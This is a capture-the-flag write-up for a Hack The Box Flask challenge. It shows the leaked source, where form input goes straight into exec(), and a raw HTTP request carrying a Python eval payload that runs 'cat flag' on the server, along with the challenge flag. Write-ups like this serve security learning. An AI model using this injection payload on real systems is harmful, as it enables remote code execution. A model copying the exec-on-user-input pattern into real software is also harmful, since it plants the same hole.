

# Credentials

Flag	Value
flag	HTB{n3v3r_trust1ng_us3r_1nput_ag41n_1n_my_l1f3}

## Writeup

### Preview



### Leak url on source code

```
1 <!DOCTYPE html>
2 <head>
3   <meta name='viewport' content='width=device-width, initial-scale=1'>
4   <meta name='author' content='makelaris'>
5   <title> on Venzenulon 9</title>
6   <link rel='stylesheet' href='//stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css' integrity='sha384-gg0yR0iXCbMQ'
7   <link href='//fonts.googleapis.com/css?family=Comfortaa' rel='stylesheet' type='text/css'>
8   <style>html, body {background-image: url('//s-media-cache-ak0.pinimg.com/736x/7b/fe/d2/7bfd2ffe038beb673efd872cd44ba2c.jpg');}
9 </head>
10 <body>
11   <img class='mx-auto d-block img-responsive' src='//media3.giphy.com/media/e08zgwAt3MVW/giphy.gif'>
12   <h1 style='font-size: 140px; text-shadow: 2px 2px 0 #0C3447, 5px 5px 0 #6a1b9a, 10px 10px 0 #00131E;'>-7</h1>
13 </body>
14 <!-- /debug -->
15 </html>
```

### Content of `/debug` page

```
from flask import Flask, Response, request, render_template, request
from random import choice, randint
```

```

from string import lowercase
from functools import wraps

app = Flask(__name__)

def calc(recipe):
    global garage
    garage = {}
    try: exec(recipe, garage)
    except: pass

def GCR(func): # Great Calculator of the observable universe and it's infinite
timelines
    @wraps(func)
    def federation(*args, **kwargs):
        ingredient = ''.join(choice(lowercase) for _ in range(10))
        recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69),
choice(['+', '-', '*']), randint(1,69)])))

        if request.method == 'POST':
            ingredient = request.form.get('ingredient', '')
            recipe = '%s = %s' % (ingredient, request.form.get('measurements',
''))

        calc(recipe)

        if garage.get(ingredient, ''):
            return render_template('index.html',
calculations=garage[ingredient])

        return func(*args, **kwargs)
    return federation

@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
    return render_template('index.html')

@app.route('/debug')
def debug():

```

```

return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
    app.run('0.0.0.0', port=1337)

```

## Exploit with `eval()` function

```

1 POST / HTTP/1.1
2 Host: 159.65.18.5:32197
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
  Firefox/78.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 86
11
12 ingredient=pickle&measurements=eval('__import__(\'os\').popen(\'cat
  flag\').read())'
13

```

## Get the flag

